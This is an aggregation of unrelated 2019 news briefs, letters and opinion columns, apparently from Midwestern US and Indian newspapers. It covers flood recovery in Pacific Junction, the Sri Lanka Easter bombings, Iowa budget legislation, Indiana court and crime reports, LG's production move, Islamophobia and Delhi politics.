On the other hand, Rocha said, Dont overload yourself. Soria made a similar point, saying he had been working too many hours and realized he needed to cut back. Tulipana closed the event by saying, We know this opportunity can have a huge impact on your life, and we want you to take advantage of it. All of the 2019 Pottawattamie Promise scholars are pictured in a two-page advertisement on pages 6A-7A of Thursdays issue of The Daily Nonpareil. For more information about the program, see pottawattamiepromise.org. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The family is deeply saddened by the events that took Josh from us. As we grieve together we would like to share our appreciation for all law enforcement and professional services that provided support for Josh and our family. We have full confidence in the investigators and have faith that justice will be served to all parties involved in this unthinkable act. We are encouraged by the overwhelming support received from our family and friends as well as the respect shown for our privacy during this trying time. Memorials can be directed toward the family to help with services. No one wants to see Pacific Junction residents left behind, but some are ready to go. No one wants to see Pacific Junction wiped off the map after being decimated by flooding last month, but there are more questions than answers. Glenwood Area Chamber of Commerce executive director Rachel Reis was adamant on this point: Nearby communities will help those hit by flooding get back on their feet. But at a meeting Wednesday night that drew roughly 200 residents of Mills County, she also had to be realistic: The recovery of Pacific Junction and its surrounding unincorporated areas could take at least two to four years. The crowd that packed the auditorium at the Glenwood Resource Center murmured in distress. An informal survey of about 100 Pacific Junction residents this week revealed that many are still unsure of how to proceed, Reis said. Fifty percent of respondents said they were unclear about their next step, 40% vowed to stay and 10% indicated that they were leaving for good. Another resident said a poll he posted on Facebook indicated much the opposite: a majority of the 50 or so respondents said theyd like to take a buyout of their flooded properties and move elsewhere. Pacific Junction, with a population of less than 500, was hit hard by levee failures last month that sent floodwaters streaming into town, filling every structure with feet of water. It was only last week that the last batch of residents could return to their homes and businesses and start clearing out flood-soaked possessions. Wednesdays meeting was intended to update residents on levee repairs, temporary and permanent housing options, debris removal and a realistic recovery timeline. Representatives from the Federal Emergency Management Agency, Iowa Homeland Security and Emergency Management, the U.S. Small Business Administration and other groups attended, too. And residents came with plenty of questions of their own, asking about eligibility for FEMA aid, how quickly temporary levees can be installed to prevent future flooding and whether buyouts would be offered. Terry Brown, a mitigation specialist with Iowa Homeland Security and Emergency Management, said any government-funded buyout program will depend on the pot of money available and the interest of local communities. Funding for buyouts in flood-prone areas is typically split, Brown said: The federal government picks up 75% of the tab, the state kicks in 10% and local governments supply 15%. The purchase price for those interested and eligible for a buyout is based on the pre-flood fair market value, and any structures on buyout properties are demolished and the land becomes green space nothing can be built there in the future. The whole purpose of the program is to remove people from harms way, Brown said. If Pacific Junction and Mills County were to sign off on a buyout and the money became available, any number of residents could participate, from a handful to many, he said. Muslim assertiveness is not new in Sri Lanka. But for the first time, the community has turned against Christians. The provocation seems to be imposed rather than indigenous Sri Lanka is no stranger to violence a complete generation underwent the ordeals of the Tamil-Sinhala Civil War (1976-2009). But the serial blasts that bloodied the Easter celebrations in the island last Sunday were on a different plane. Its roots seem to puzzle those who had studied the history of Sri Lanka. Tamil insurgency was an outgrowth of bad blood between the two ethnic communities viz, Tamil and Sinhala, in post-colonial Sri Lanka (then called Ceylon). These two communities, unequal in size and inhabiting different geographical zones of the island, once viewed themselves as co-founders of the islands civilisation. For one complete century between the Colebrooke-Cameron Reforms (1829-32) which gave colonial Ceylon a legislative council and the Donoughmore Commission (1931), when territorial elections were introduced, the relationship between the Tamils and Sinhalese deteriorated sharply. The Tamils, though in a numerical minority, could previously take a much-relaxed view as long as their representation in the Council was the same as the Sinhalese. But as political reforms progressed in the crown colony, relationships worsened under the shadow of Sinhala majoritarianism. The Tamils were the makers of modern Ceylon. But they found themselves falling from the frying pan to the fire after Ceylon gained independence. Between 1951 and 1976, one finds Tamils trying to fashion various political responses to the Sinhala clout. Then finally came the Vaddukoddai Resolution (May 14, 1976), which pitched for an independent Tamil Eelam, an expression first used in modern time as early as 1923 by Sir Ponnambalam Arunachalam (1853-1924). The uncrowned king of Ceylonese Tamil civilian politics viz, SJV Chelvanayakam (1898-1977), exhorted the Tamil youth to take up arms to resist Sinhalese hegemony. An independent Tamil Eelam was, thus, not the brainchild of either the Tamil Eelam Liberation Organisation (TELO), or the Liberation Tigers of Tamil Eelam (LTTE) or Peoples Liberation Organisation of Tamil Eelam (PLOTE). But a resolution passed by those politicians who had tried to handle the issue by Constitutional means for far too long without any success. The situation erupted into a bloody, messy and cruel civil war that lasted for three decades. It ended in May 2009 with the defeat of the LTTE by the Sri Lankan Army, accompanied by the carnage of Tamils caught in the crossfire. The Easter bloodbath, on the other hand, does not seem to be an outgrowth of natural politics. It was directed against Christians (regardless of ethnicity) and foreigners, who stay in plush hotels like Shangri-La, Cinnamon Grand and Kingsbury in Colombo. The blasts coincided with the US-Sri Lanka Naval exercise off the Hambantota Port, owned by China on a 99-year lease. The Sri Lankan Government found the blasts to be the handiwork of Islamic radicals, and the Islamic State has claimed responsibility for the bombings. Both Christians and Muslims are small minorities and do not hope to play an independent role in the overall politics of the island. They do not have a history of turning against one another as a group either. The Muslims, who have a dominant presence in eastern districts like Batticaloa and Trincomalee, could still foster some territorial ambitions. But Christians, who are to be found both among Sinhalese and Tamils besides Burghese (who are Anglo-Indians in Sri Lanka), can at best manage to influence politics as part of some group. Various Prime Ministers and Presidents of Sri Lanka, right from DS Senanayake to Mahinda Rajapaksa, have had a Christian family background. Christian presence in Sri Lanka goes back to Portuguese invasions in the 16th century. Various Sinhalese (Buddhists) and Tamil (Hindus) had converted to Christianity. But as the Donoughmore Commission (1931) recommended franchise base on territory, many of those leading families re-converted to Buddhism to ingratiate themselves to the masses. They are generally referred to as Donoughmore Buddhists. Interestingly, it was such families, who remained at the helm of Sri Lankan politics but it was not before Ranasinghe Premadasa (1924-1993), a genuine Buddhist, who became the Sri Lankan President, that they held an official post. However, such re-converted families were never shy of using Buddhism as a state policy to marginalise the Tamils. Those who remained Christians (amongst Sinhalese and Burghese) felt political power passing away from their hands. In January 1962, there was a Christian coup detat, popularly called Operation Holdfast, to overthrow the democratically-elected Government of the then Prime Minister Sirimavo Bandaranaike. The top brass of the Army, Navy and police involved in it were Christians, and pained that Bandaranaike was advancing the policies of her slain husband SWRD Banadaraniake which related to the aggressive Buddhitisation of Sri Lanka. But the attempt was exposed and neutralised. During the Civil War, the Christians settled down on the respective side of the ethnic divide. While the Sinhalese Christians tried to prove their Sinhalese credentials, the Tamil Christians were active in the LTTE. Young women from Tamil Christian families were the first to volunteer for LTTEs woman brigade. This was because they were comparatively free from the conservatism of Hindu families. The Muslims, though they were Tamil-speaking, did not join the LTTE. They eventually came to be at the receiving end of the LTTEs policies. In the Kattankudy mosque massacre, 147 Muslim men and boys were killed on August 3, 1990, by the LTTE. The Muslims, though Tamil-speaking, did not consider themselves as part of the Tamil nation. Way back in 1885, a debate arose when Sir Ponnambalam Ramanathan (1851-1930), in a speech to the Ceylon Legislative Council, had tried to prove that Tamil Muslims were descendants of low-class Tamil Hindus, who had converted to Islam. The Muslim community (then called Moors in Ceylon) was enraged and argued that they were descendants of Arab traders, who settled down in the island centuries ago and gradually adopted Tamil while forgetting Arabic. Muslim assertiveness is not new in Sri Lanka. Way back in 1915, there were Candy riots between Sinhalese (Buddhists) and Muslims. Last year in March 2018, there were similar clashes between Sinhalese and Muslims. Religious places of each community were attacked by the other. But this is the first time in historical memory that Muslims have turned against the Christians. The provocation seems to be imported rather than indigenous. The terror attacks rather seem to be part of the global jihad or more particularly, retaliation for Christchurch mosque attack on March 15. In recent years, missionary activities by Christians and Muslims are on the rise in the island. These terror attacks, though a grave security risk, might not indicate any shift in the politics of Sri Lanka. But it is a signal that Jihad bi-al Qital has appeared on the shores of the palm-fringed island. (The writer is an independent researcher. The views expressed herein are his personal) Legislators should maintain local control of county budgets Legislation currently being considered by the Iowa Legislature would hinder the ability of local elected officials to make budget decisions to fund the programs and services their constituents depend on and desire. House File 773 would place an arbitrary 2% annual growth limitation on property tax revenue that a county or city could collect. Senate Study Bill 1260 would place the cap at 0% growth with the ability to go to 2% by resolution and 3% subject to reverse referendum. This one-size-fits-all limit does not consider the varying needs of Iowas 99 counties and their citizens. Perhaps the result of limiting growth would be favorable to some property owners, but at what cost? We must consider what local governments provide with the funding from property taxes and how the programs and services benefit the taxpayer. Roads need to be repaired, bridges need to be maintained, criminals must be prosecuted and jailed, and the courthouse should be adequately staffed to meet your customer service needs when transacting government business like renewing your drivers license or applying for a marriage certificate. County supervisors know very well and take very seriously the fact that when they set budgets and property tax levy rates they are asking their friends and neighbors to contribute financially for the good of the county and the beneficial services that the county provides to its residents. Local budgetary decisions should remain local, with the elected officials that live and work in the communities they represent, not with legislators making statewide decisions. Supervisors know much better the needs and desires of their county, and if they fail in that charge, they stand for re-election every four years. Please ask your legislators to maintain local control, reject HF 773 and SSB 1260, and let county supervisors and city councilors make budget decisions that are right for their jurisdictions. Iowa State Association of County Supervisors The effects of methamphetamine use As most already know, the opiate epidemic has been worsening, each year claiming more lives than the last. What is less known by the general public is the problem with Methamphetamines has been growing over the last several years as well. In the most recent data from the 2017 National Survey on Drug Use and Health, it was found an estimated 964,000 people age 12 or older had a methamphetamine use disorder. This large number of methamphetamine use can lead to some very serious problems in communities; higher crime rates, destroyed families, and the many risks to public health. Methamphetamines are made by combining chemicals that can be explosive in bad cases as well as causing long term property damage from toxic chemicals. Houses where a meth lab was in operation can retain chemicals which are hazardous to those who live in the house afterwards. In fact, even use of the drug within an apartment, home, or trailer can cause negative health effects long after the user or producer has moved one. More and more communities each year deal with this problem and it is an expensive thing to repair, with decontamination costing thousands of dollars to inhabitants and landlords both. These problems are far from victimless with acute health effects that include lack of coordination, chest pains, and burns to skin, eyes, nose, and mouth. Possible chronic long-lasting problems may include respiratory irritability, neurological damage, and liver and kidney damage. In these times it is important that families are aware of both the signs of methamphetamine use and abuse. In addition, community members need to be on the lookout for signs their house was used prior for methamphetamine production or use. To learn more about methamphetamine affected houses visit https://www.safewise.com/blog/tell-buying-meth-house/ For more information on signs of methamphetamine abuse, visit our website at https://www.narcononnewliferetreat.org/drug-abuse-information/signs-of-methamphetamine-abuse.html. Luke Nichols Denham Springs, Louisiana Axne should support Medicare for All This Medicaid madness has to stop. I know, because Im on Medicaid. When I was 50, one day I woke up and my joints started aching. It was hard to walk, it was hard to stand. Since then, Ive been on various forms of Medicare and Medicaid Disability. My experience with Medicaid has been mixed. While Im glad to have healthcare, its been confusing and burdensome to keep up with all the changes since privatization. Now I have to switch from Unitedhealthcare to either Amerigroup or Iowa Total Care. They dont offer the same benefits I got from United. Hopefully I will still be able to see my same doctors and clinicians, unless theyre not in network. Enough is enough. We cant have varying levels of healthcare coverage for different segments of the population. Were all in this together, and I believe healthcare is a human right. Its not enough to return Medicaid to state control. The time is now to implement Medicare for All and give everyone a comprehensive standard of care to live their lives and be valued members of society. And its time for my representative, Cindy Axne, to support Medicare for All. Sonya Sayers Des Moines 2. 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LG currently manufacturers up to a fifth of its smartphones in South Korea. 4 Reviews , News , CPU , GPU , Articles , Columns , Other "or" search relation. 3D Printing , 5G , Accessory , AI , Alder Lake , AMD , Android , Apple , ARM , Audio , Biotech , Business , Camera , Cannon Lake , Cezanne (Zen 3) , Charts , Chinese Tech , Chromebook , Coffee Lake , Comet Lake , Console , Convertible / 2-in-1 , Cryptocurrency , Cyberlaw , Deal , Desktop , E-Mobility , Education , Exclusive , Fail , Foldable , Gadget , Galaxy Note , Galaxy S , Gamecheck , Gaming , Geforce , Google Pixel , GPU , How To , Ice Lake , Intel Evo / Project Athena , Internet of Things (IoT) , iOS , iPad Pro , iPhone , Jasper Lake , Lakefield , Laptop , Launch , Leaks / Rumors , Linux / Unix , Lucienne (Zen 2) , MacBook , Mini PC , Monitor , MSI , OnePlus , Opinion , Phablet , Radeon , Renoir , Review Snippet , Rocket Lake , Ryzen (Zen) , Science , Security , Single-Board Computer (SBC) , Smart Home , Smartphone , Smartwatch , Software , Storage , Tablet , ThinkPad , Thunderbolt , Tiger Lake , Touchscreen , Ultrabook , Virtual Reality (VR) / Augmented Reality (AR) , Wearable , Windows , Workstation , XPS , Zen 3 (Vermeer) Ticker Business is not going well for LG. The company may be continuing to release a slew of smartphones including the V40 ThinQ and G8 ThinQ, but its smartphone business has made losses for seven consecutive quarters, or almost two years. There are no signs that LG is planning to mothball its smartphone business, although it is reportedly making some fundamental changes to operations to minimise these losses. According to the South Korean-based Yonhap News Agency, LG will shift smartphone production from its Pyeongtaek factory in the south of Seoul to Hai Phong in northern Vietnam by the end of the year. The company will also move around 750 workers from Pyeongtaek to its home appliance plant in Changwon. The South Korean manufacturer has smartphone production plants in Brazil, China and India too, but it produces between 10 and 20% of its smartphones in its home country. LG has also made the following statement: The plan is a strategic move to improve the profitability of its smartphone business amid a slump in the global smartphone market and increased demand for home appliance products, such as air purifiers and dryers. Sandhills State Bank announced a $50,000 donation to the Prairie Arts Center on Thursday afternoon and will have its name placed on the art library on the second floor of the PAC. Kim Steger, president of Sandhills Private Banking, presented the check at the Prairie Arts Center during Sandhills State Banks annual shareholder meeting. Its important for us as builders of communities to invest back into our communities, said David Gale, CEO. Why art is so important is really for the next generations to spark that creative interest and the problem-solving ability that all of the small towns need. He said in order for towns throughout Nebraska to keep growing and thriving, the arts are an important part of that. Holly Carlini, executive director at the PAC, said the art library is a treasure. The banks willingness to support the arts in our community is beyond measure and were excited to move forward with the naming of the library, Carlini said. This space is filled with art books, sculptures and character. The library has the only original wood floors in the 1913 building. Anti-Muslim sentiment has become a tool for populist politicians to describe Muslims as the other and the ones to blame for the economic or cultural decline of a Western country On March 15, when a horrendous attack by a White Australian supremacist left 50 Muslims dead in a mosque in New Zealand, the Prime Minister of Pakistan, Imran Khan, fired a series of tweets against Islamophobia. Interestingly, in Pakistan, the tweets received some rather mixed responses. Many accused him of exhibiting outright hypocrisy while others were more tongue-in-cheek in their response, pointing out that it was ironic that a Prime Minister of a country, where religious and sectarian minorities are constantly attacked by radical Islamist outfits, should be lamenting the state of Islamophobia in the West. Indeed, there is always much irony in Muslim states that overtly criticise Islamophobia while doing precious little to address the persecution of minority faiths or sects in their own realms. Therefore, a prominent Muslim (or for that matter, any Muslim) should be very careful in his/her criticism of Islamophobia. If their laments are to be taken seriously, without sounding so obviously contradictory, then they should be well-informed about the inherent contradictions that these laments carry. The wording of their criticism should, thus, be a more measured exercise. Prime Minister Khan should have observed how Pakistans military establishment has been wording its responses in this context. Ever since 2015 when the military initiated a widespread operation against militant outfits it condemns violence against Muslims elsewhere but always attaches a reminder to it that Pakistan has fought a vicious war against religious terrorism and won. This somewhat neutralises the contradictions that emerge when a country, with a history of sectarian bloodshed and violence against minorities, wags a finger at a country guilty of exhibiting Islamophobia. Because when this question does arise, it is countered by the reminder that Pakistan is actually doing something about it. But Prime Minister Khan went slightly off the rails in his tweeted outrage against Islamophobia. He failed to balance his critique by confessing that Pakistan, too, has a problem of religiously-motivated violence but one that it is trying to address seriously. But when he was in Opposition, Khan and his party had actually opposed any serious action against religious militancy. Yet, it is also true that the complex reality of being in power is gradually transforming his views. So one now expects him to be a bit more aware when commenting on the violence unleashed by White supremacists against Muslims. But what really is Islamophobia? This question needs to be answered in a more thorough manner, especially by the Muslims themselves if they are to critique it without sounding contradictory. According to the Oxford English Dictionary, Islamophobia is an intense dislike or fear of Islam. In an article in the October 2015 issue of The Atlantic, Tanya Basu wrote that the term was derived by the French word, Islamophobie. It was first coined by French author Alain Quellien in 1910 to criticise the behaviour of French colonial administrators towards their Muslim subjects. In her essay for the March 2006 issue of the Journal of Interpersonal Violence, LP Sheridan wrote that the terms first known usage in English appeared some 90 years later in 1991. It then made its way into the Oxford English Dictionary in 1997. This suggests that Islamophobia, as it is understood today, is a recent development. Professor Emeritus Bichara Khader, in his essay for the 2016 anthology, The Search for Europe, wrote that Islamophobia in Europe and the US is often linked to migrants from Muslim countries that are seen as a threat to Western culture and security. He questioned this assumption by adding that migration was not an issue at all in the West till the early 1970s, after thousands of Muslims from South Asia, South East Asia, the Middle East and North Africa began arriving in various European cities from the 1950s onward. They were looking for work and higher wages. Khader wrote that as post-war economies boomed in Europe, these migrants were seen as being vital contributors to this boom. He added that it was only when the economies of Europe began to recede especially after the 1973 oil crisis the term migration problem came into play. Yet, it was never linked to a Muslim problem as it is today. Khader said that during the turmoil of the 1970s and 1980s which saw riots involving migrants and locals, especially in France and England these were explained as race riots and also included migrants from the Caribbean islands and non-Muslim Indians. The reasons were economic. Neo-fascist outfits accused their Governments of allowing non-white migrants to steal white jobs. It really wasnt a clash of cultures as such. Or not yet. According to Khader, till the early 1980s, Muslim migrants were not very public or exhibitionistic about their faith. For example, they were happy with a few basement mosques. Once settled, Muslim migrants began to marry women from their own countries and then brought them to Europe even though it wasnt uncommon for some to marry European women as well. Khader wrote that most of the women who came as wives, were from rural and semi-rural areas of Pakistan, India, Bangladesh, Indonesia and Egypt among others. This development changed the settlers attitude towards their religion and cultural values. Whereas once they were fine with their small basement mosques, now they began to demand proper mosques. The change in behaviour attracted preachers, who began to set up shop in various European cities. They were particularly appealing to second generation migrants, especially from families who had failed to be fully integrated by European integration policies. Khader wrote that, as the presence of veiled women and mosques grew, this is when the migration problem began to be seen as a Muslim problem, triggering Islamophobia. Authors such as Khader and George Morgan in (Muslims and Moral Panic in the West) agree that the more outward exhibition of Muslimness in the West did contribute in the making of the above- mentioned scenario. Nevertheless, they are of the view that Islamophobia is still largely a construct of populist right-wing parties. Khader wrote that there are 23 million Muslims in Europe. This means they are just five per cent of Europes total population. Thus, Islamophobia has become a tool for populist politicians to describe Muslims as the other and the ones to blame for the economic or cultural decline of a Western country. (Courtesy: The Dawn) With full Statehood as the main poll plank, the Aam Aadmi Party (AAP) on Thursday launched its manifesto for general election. With the status, the Delhi Government will have control over land, law and order, police and control over officials and decision-making, AAP national convener Arvind Kejriwal said while launching the manefesto. The manifesto covered a range of issues in 12 areas of education, health, women safety, police reforms, zero corruption, jobs, land and housing, protection from sealing, cleanliness, pollution, transport, and Yamuna rejuvenation. It also explained how all the other national Capitals have power over local police, appointment and transfer of officials, land and city planning, housing, traffic and transport planning and control over local bodies while Delhi has none of it. The manifesto also accused the BJP and the Congress of avoiding the question of full Statehood for Delhi. The manifesto also mention that even today, the stance of BJP and Congress has not been favourable towards granting full Statehood to Delhi. Addressing media persons Deputy Chief Minister Manish Sisodia said that Delhi pay Rs 1.5 lakh crore as income tax to the Centre but in return they give us Rs 325 crore only. We can get Rs 5000 to 6000 crore more if Delhi become full State, he said. We could have stopped sealing in 24 hours if it becomes a full State. Why should we pay so much and get so less in return? What have Delhiites done to the central government to deserve this? The situation is similar to the time before India got Independence. The ruling AAP in the city is fighting the upcoming Lok Sabha election on the agenda of granting full Statehood to Delhi. Raising the slogan of 'Poorna Rajya Banao Jhadu ka Button Dabao', the party is busy convincing people to vote for AAP to get full Statehood for Delhi. AAP has fielded seven candidates for the polls, with Chandni Chowk candidate Pankaj Gupta, East Delhi candidate Atishi Marlena, North West Delhi candidate Gugan Singh, South Delhi candidate Raghav Chadha, North East Delhi candidate Dilip Pandey, West Delhi candidate Balbir Singh Jakhar and New Delhi candidate Brajesh Goel. The election to the seven Lok Sabha seats in the national Capital will be held on May 12. "The store is amazing," he said. "I live down in Jasper, Indiana, and we have a great retail establishment but I have to say this is one of the neatest grocery stores I've ever been in. It looks like they're trying to stay up with the leading edge, keep up with the new stuff." "In my short time in Washington, D.C., just four months, what we can do most there is make it easier for great places like this to not be burdened with unnecessary regulation," he said. "I think a lot of that has been happening over the last two years. I've been an entrepreneur and business owner, a farmer, just involved with a lot of stuff. I can tell you the economy is about as strong as I've ever seen it... My job as a U.S. senator is to make sure we keep the atmosphere healthy in small communities and the businesses within them, to keep the federal government from causing as many complications instead of looking ahead to be the solution." "The desire was to make sure we're ready for anything," Hanna said. He said an analysis is being done now about how the new money will fit into the mix of federal, state and local money that would fund the projects. "We need to look at the mechanics of how to use each pot of money most effectively," Hanna said. The new money is coming from the $1 billion in proceeds the state received from the recent Indiana Toll Road lease amendment that allowed the toll road's operator to increase tolls on heavy trucks. The state budget includes language requiring the RDA to repay the money from this new appropriation if the projects do not earn federal grants. New board of trustees The budget also includes a revamp of the NICTD Board of Trustees, shrinking it from its current 11 members to five. The new board will be chaired by INDOT Commissioner Joe McGuinness or his designee, and will include one elected official, appointed by the governor, from each of the counties the South Shore serves. "I knew Shannon often had a video camera with him," says Clinch. "We realized that he basically filmed everything. It was overwhelming. We had a rough cut and all of a sudden (Hoon's longtime girlfriend) Lisa would call us and say, 'Hey, I found two more tapes.'" Often speaking directly into the camera, Hoon documents everything from hanging out with Axl Rose to the band arguing over a Rolling Stone cover to himself peeing in a urinal. He filmed his daughter being born. He filmed many of his interviews with journalists. It amounted to 250 hours of footage. The filmmakers Clinch, Taryn Gould and Colleen Hennessy opted to credit Hoon as co-director. "The idea that he was documenting himself for the world to see is really interesting," says Clinch. "Did he feel like his candle was burning really bright and it might fade out? I don't know." Director Asif Kapadia extensively used personal film archives for his Amy Winehouse documentary "Amy." But "All I Can Say" is almost entirely from Hoon's point of view. Holding so much of Hoon's life in his hands, Clinch grants, has been a heavy responsibility. "It's been a lot on my shoulders to be given the gift of these tapes," says Clinch, exhaling. VALPARAISO It's roads, the economy and health care, not the Mueller report on President Donald Trump's presidential campaign, that's on voters minds, according to U.S. Sen. Mike Braun, R-Ind. Speaking after an event hosted by the Valparaiso Chamber of Commerce Thursday, the senator said Democrats are trying to re-litigate the 2016 election instead of focusing on the issues. "Whether it leads to impeachment or not, I think that most people are going to see through it," he said. "Most people want you to focus on the cost of health care, infrastructure, fixing a few problems like the cost of higher education." The Mueller investigation, which came out publicly last week, did not find the Trump campaign had worked with the Russian government to defeat Hillary Clinton in 2016. However, the report states Mueller's team could not absolve Trump from obstruction of justice regarding the investigation. Braun said that part may be used by Democrats to attack Trump in the run-up to the 2020 election. "The other side views it as a tool to kind of distract from the good things that have been happening in our economy," Braun said. Upon stopping the vehicle he noticed the smell of burned marijuana and saw marijuana-related items, police said. The occupants told the officer they were travelling from Phoenix to Nassau, New York, which the officer felt was off-route from where they were stopped. When questioned about the marijuana, Guest asked "if it was illegal here," police said. Police said they recovered two grams of marijuana and two grams total of black tar heroin from Guest and Fuentes. While searching the vehicle, police said they folded down the rear seat and could see the plastic moulding holding the carpet was loose, according to charging information. An officer removed the moulding and found a "red taped item in the shape of a kilo" that was found to contain the pills. A plastic-wrapped kilo package containing Fentanyl was found on the driver's side in the same location, police said. GARY Witnesses told police people in one car were shooting at a second car during a chase Thursday, shortly before officers arrived to find a boy dead from a gunshot wound, police said. The boy was found about 4 p.m. Thursday laying on the ground near a vacant lot in the 1100 block of Rutledge Street, Gary police Cmdr. Jack Hamady said. Investigators haven't determined yet if the person was riding in a vehicle or was a bystander during the gunfire, he said. Police initially responded to the area for a report of shots fired and a person possibly down in the street. Officers arrived and found the boy, who had no signs of life and was pronounced dead at the scene by Lake County coroner's investigators. The man's death marks the 21st homicide so far this year in Gary, according to police and death records. Witnesses told police people in one vehicle appeared to be chasing another vehicle as occupants in the first vehicle shot at people in the second vehicle, Hamady said. The cars were seen in the area of Rutledge and Ellsworth streets. VALPARAISO A judge rejected a proposed plea agreement Friday that would have dismissed rape and sexual battery charges in a case of a Portage man accused of raping a woman he knew after working on her television. Porter Superior Court Judge Jeffrey Clymer said a lack of evidence prevented him from accepting the plea from 53-year-old Michael Philipp. The judge did not elaborate, but set a hearing for May 3 to reconsider the proposed plea if more evidence is provided to justify the changes. Philipp, who is in custody, showed no obvious reaction to the rejected plea and was represented by defense attorney Bob Harper. The alleged victim said Philipp showed up at her house shortly before noon Dec. 26 as expected, and she let him into her bedroom to install an Amazon Fire TV Stick on a television, according to police. Upon completing the job, she said Philipp immediately turned on pornography, sat next to her on the bed and put his hand on her knee, police said. He then forced her to lie on her back and tried to kiss her. VALPARAISO An 18-year-old Michigan City man pleaded guilty Friday to serving as the getaway driver for armed bank robberies that occurred on the same day last summer in Portage and Michigan City. Dennis Barger III, who was 17 at the time of the crimes, has agreed to cooperate in the federal case against his co-defendant and another man. Barger was sentenced to time already served, but was to be taken to the LaPorte County Jail to face the charge there stemming from the Michigan City robbery, according to his defense attorney Bob Harper. The same outcome is expected in LaPorte County, Harper said. Barger pleaded guilty to a greatly reduced felony count of assisting a criminal. He drove the car July 31 as Jason Jay Cheek robbed the 1st Source Bank at 3905 Franklin St. in Michigan City and Chase Bank at 3275 Willowcreek Road in Portage, according to police. CROWN POINT A Gary man was charged with child molesting Saturday after a woman told police she walked in on him as he raped her preteen daughter, court records say. Clifton J. Thomas, 38, formally pleaded not guilty Thursday during an in-custody appearance before Lake Criminal Court Judge Salvador Vasquez. Thomas' bond was set at $50,000 surety or $5,000 cash. At the request of public defender Benjamen Murphy, Vasquez set a bail review hearing for May 2. The girl's mother told police she left her daughter in Thomas' care April 18 but decided to return to her Gary home a short time later. When she arrived, she found the girl's bedroom door locked and used a fork to open it, court records say. The woman entered the room and saw Thomas naked and halfway off the bed and her daughter naked from the waist down under a cover, records allege. The girl told police Thomas was raping her and stopped when he heard her mother outside the bedroom door, records say. Indian Army ropes in NHPC to build caverns along LAC In an effort to boost its defences in the region facing China along the Line of Actual Control (LAC), the Army in collaboration with the public sector National Hydroelectric Power Corporation (NHPC) will build tunnels or concrete caverns to store ammunition. Huge bunkers will ensure that the ammunition cannot be destroyed by artillery fire or aerial bombing besides ensuring smooth supply of bombs and bullets to the troops without any hindrance. The pilot project costing about Rs 15 crore for four tunnels has to be completed within two years after the Army and the NHPC signed a MOU here on Thursday. Three of the four tunnels will be built in Sikkim and Arunachal Pradesh facing China while the fourth will come up in the mountain region of Jammu division. Each ammunition bunker has the capacity to store more than 200 metric tonnes of ammunition and will also be safe from the vagaries of weather, including ammunition getting damaged due to dampness. Explaining the significance of the project, officials said China already has built similar storage tunnels in the Tibet region. While India also has similar underground caverns in the plain regions of the country, this pilot project, if successful, will pave the way for constructing similar dumps in the inaccessible mountain regions facing China, they said. Once the project meets all the requirements of the Army, more such storage facilities may come up in Ladakh which has a long border with China besides some sensitive places in Himachal Pradesh, Uttrakhand and the north-eastern States, they said. The Army had earlier tried to build such caverns in the mountains of Sikkim but it proved to be expensive and issues like dampness and seepage hampered the project. Since the NHPC has the expertise to construct such tunnels in tough terrain, the Army started negotiations last year for the pilot project and the proposal by the company was cost effective and met all operational parameters of the force, they said. Underground storage in the tunnels will provide improved safety, easier camouflage from enemy observation and satellite imagery and protection from enemy strikes. Also, the tunnels will be built in the folds of the mountain thereby providing safety and security from the weather and enemy bombing. Moreover, as the conditions in the caverns are monitored and controlled, it ensures better safety of sensitive ammunition minimising accidental explosions. These cavern store bullets, anti-tank rockets and surface to air missiles. CROWN POINT A mother was sentenced Wednesday to three years in a work-release program for neglect that led to her 12-year-old son's death in 2017 from a chronic medical condition. Teisha M. Ellis, 36, of Gary, pleaded guilty in March to one count of level 5 felony neglect of a dependent causing bodily injury. In exchange for her plea, prosecutors agreed to drop level 1 and level 5 felony counts of neglect. Ellis admitted she failed to monitor her son Davarion Davis' medical condition or seek help when his conditions worsened, which led to his death May 4, 2017. Davarion had nephrotic syndrome, which is easily treated with monitoring and medications. Ellis was aware of the importance of monitoring Davarion's health, because the boy previously had been hospitalized because of her failure to provide adequate care for him, court records say. VALPARAISO Consultants from as far as Philadelphia and Minnesota are vying to take part in a study to look at the city's housing stock. Valparaiso Planning Director Tyler Kent opened requests for proposals from seven consulting firms Friday morning at the Board of Works meeting. Each presented a lengthy written proposal to prepare a residential housing market analysis for the city. The seven firms were SBFriedman of Chicago; Teska Group of Evanston, Illinois; Thomas P. Miller of Indianapolis; Maxfield Research of Grand Valley, Minnesota; Ninigret Partners of Providence, Rhode Island; Ratio of Indianapolis; and Urban Partners of Philadelphia. Kent said the chosen firm will conduct a data-driven analysis of the city's current housing stock. It will look at what housing is available in the city and what is lacking. The information will be used to work with developers interested in residential construction in the city. "Housing has changed a lot over the last decade, and we want to make sure we are planning correctly for housing in the future," Kent said. The town is not directly involved in the building, but we approved plans that met our criteria for new housing, Anderson says. Munster is built out with little room for new homes, so this project is very valuable. Well have the opportunity to bring in new residents of all ages. This is just one of the projects that excite Anderson and his team. Weve been able to take unused land and transform it into something useful for our town. The old Carpetland store is now full of unique, attractive shops. The old Simmons mattress factory is now the state-of-the-art Lake Business Center office space that is at full capacity, Anderson says of the sites on Calumet Avenue. "And now West Lakes. Another major quality of life endeavor is about to begin: the 45th Street Grade Separation project. This realignment of 45th Street will eliminate a difficult intersection and create and underpass at the Canadian National Railroad crossing on Calumet Avenue. We accepted bids on Feb. 20, Anderson says. We will be working to award contracts and proceed during the April-May timeframe. We expect construction to begin late May or early June. She said the process could take anywhere from two months to a couple of years to complete. In the four short years I have had the privilege to serve as your bishop it has been a great joy to encounter many of you in my visits to our parishes and schools, Hying said. He said when he first learned of his return to Wisconsin, I felt a particular regret knowing I will no longer share in the continued renewal that is taking place and thinking about all the wonderful people I will miss. The Rev. Jeff Burton, of St. Paul Church in Valparaiso, said Hying will be remembered fondly. He was a great fit," he said. "He came from a blue-collar background. Burton said Hying personally tended to the parishioners at Holy Angels Cathedral and St. Monica and Luke Church in Gary and worked with a synod of diocese priests to deal with the closing of less-well-attended parish churches in the Gary Diocese. He helped us come together, Burton said. Paul Mullaney, president of Bishop Noll Institute, said Hying and what he brought to the Region will be greatly missed. CHESTERTON Work has begun again on the restoration of the pavilion at the Indiana Dunes State Park. It is also meeting with continued protests. "The DNR (Indiana Department of Natural Resources) still hasnt obtained a Certificate of Approval from the Historic Preservation Review Board, Jim Sweeney, Dunes Action co-founder, said this week in a news release. "By re-starting construction without one, we believe they are in violation of Indiana law, so weve reported this violation to the Porter County Prosecutor." Tara Wolf, director of communications from the DNR, disagrees, saying the DNR has been issued a letter of clearance. The prosecutor's office has also declined to act on the latest complaint, she said. Wolf provided a letter dated 